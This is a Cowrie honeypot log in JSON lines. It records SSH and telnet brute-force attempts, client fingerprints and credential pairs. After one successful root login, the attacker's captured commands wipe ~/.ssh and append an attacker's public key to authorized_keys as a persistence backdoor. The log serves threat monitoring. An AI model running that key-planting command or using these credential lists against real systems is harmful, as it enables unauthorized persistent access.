{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dd1214b3e9b","protocol":"ssh","message":"New connection: 2.57.121.25:37476 (159.203.135.109:22) [session: 1dd1214b3e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:28.186940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:28.191319Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:28.295117Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nettie","message":"login attempt [user/nettie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:28.782902Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"necklace","message":"login attempt [user/necklace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:29.889967Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nebula","message":"login attempt [user/nebula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:30.996869Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"naught","message":"login attempt [user/naught] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:32.105852Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"myspace","message":"login attempt [user/myspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:33.212776Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:38:34.319719Z","src_ip":"2.57.121.25","session":"1dd1214b3e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45114,"dst_ip":"10.17.0.5","dst_port":22,"session":"97e7f6a7df23","protocol":"ssh","message":"New connection: 2.57.122.208:45114 (10.17.0.5:22) [session: 97e7f6a7df23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:45:18.442655Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:45:18.550936Z","src_ip":"2.57.122.208","session":"97e7f6a7df23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b7494cec26f","protocol":"ssh","message":"New connection: 2.57.122.208:38846 (10.17.0.5:22) [session: 4b7494cec26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:01.011019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:01.016264Z","src_ip":"2.57.122.208","session":"4b7494cec26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:01.123997Z","src_ip":"2.57.122.208","session":"4b7494cec26f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:01.437244Z","src_ip":"2.57.122.208","session":"4b7494cec26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:02.545547Z","src_ip":"2.57.122.208","session":"4b7494cec26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.76.187.40","src_port":38776,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c50a28e006","protocol":"ssh","message":"New connection: 47.76.187.40:38776 (10.17.0.5:22) [session: 32c50a28e006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:31.879931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:31.887424Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:32.092525Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dolphin2026","message":"login attempt [root/dolphin2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:32.946240Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:33.390408Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:33.393603Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:33.397476Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:33.605857Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.054363Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.058288Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.269087Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.273077Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.76.187.40","src_port":36644,"dst_ip":"10.17.0.5","dst_port":22,"session":"516aed5aa137","protocol":"ssh","message":"New connection: 47.76.187.40:36644 (10.17.0.5:22) [session: 516aed5aa137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.472616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.478423Z","src_ip":"47.76.187.40","session":"516aed5aa137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:34.685160Z","src_ip":"47.76.187.40","session":"516aed5aa137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:35.542975Z","src_ip":"47.76.187.40","session":"516aed5aa137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:36.751566Z","src_ip":"47.76.187.40","session":"516aed5aa137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.76.187.40","src_port":36648,"dst_ip":"10.17.0.5","dst_port":22,"session":"d68eb8fc5220","protocol":"ssh","message":"New connection: 47.76.187.40:36648 (10.17.0.5:22) [session: d68eb8fc5220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:36.959510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:36.966073Z","src_ip":"47.76.187.40","session":"d68eb8fc5220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:37.174923Z","src_ip":"47.76.187.40","session":"d68eb8fc5220","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:38.044958Z","src_ip":"47.76.187.40","session":"d68eb8fc5220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:38.253431Z","src_ip":"47.76.187.40","session":"32c50a28e006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:48:38.258809Z","src_ip":"47.76.187.40","session":"d68eb8fc5220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.142.220.156","src_port":56939,"dst_ip":"10.17.0.5","dst_port":23,"session":"843284ddc7c0","protocol":"telnet","message":"New connection: 167.142.220.156:56939 (10.17.0.5:23) [session: 843284ddc7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:49:59.318191Z"}
{"eventid":"cowrie.session.closed","duration":5.922986030578613,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:05.241105Z","src_ip":"167.142.220.156","session":"843284ddc7c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.49.238.117","src_port":48746,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62636e798b6","protocol":"telnet","message":"New connection: 174.49.238.117:48746 (159.203.135.109:23) [session: b62636e798b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:13.508195Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b77029c5450","protocol":"ssh","message":"New connection: 2.57.122.208:37558 (10.17.0.5:22) [session: 7b77029c5450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:20.676298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:20.681359Z","src_ip":"2.57.122.208","session":"7b77029c5450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:20.810549Z","src_ip":"2.57.122.208","session":"7b77029c5450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:21.212270Z","src_ip":"2.57.122.208","session":"7b77029c5450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:22.355145Z","src_ip":"2.57.122.208","session":"7b77029c5450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.386005163192749,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:26.894011Z","src_ip":"174.49.238.117","session":"b62636e798b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.144.66","src_port":42162,"dst_ip":"159.203.135.109","dst_port":23,"session":"40557fc2b99d","protocol":"telnet","message":"New connection: 47.237.144.66:42162 (159.203.135.109:23) [session: 40557fc2b99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:50:49.616681Z"}
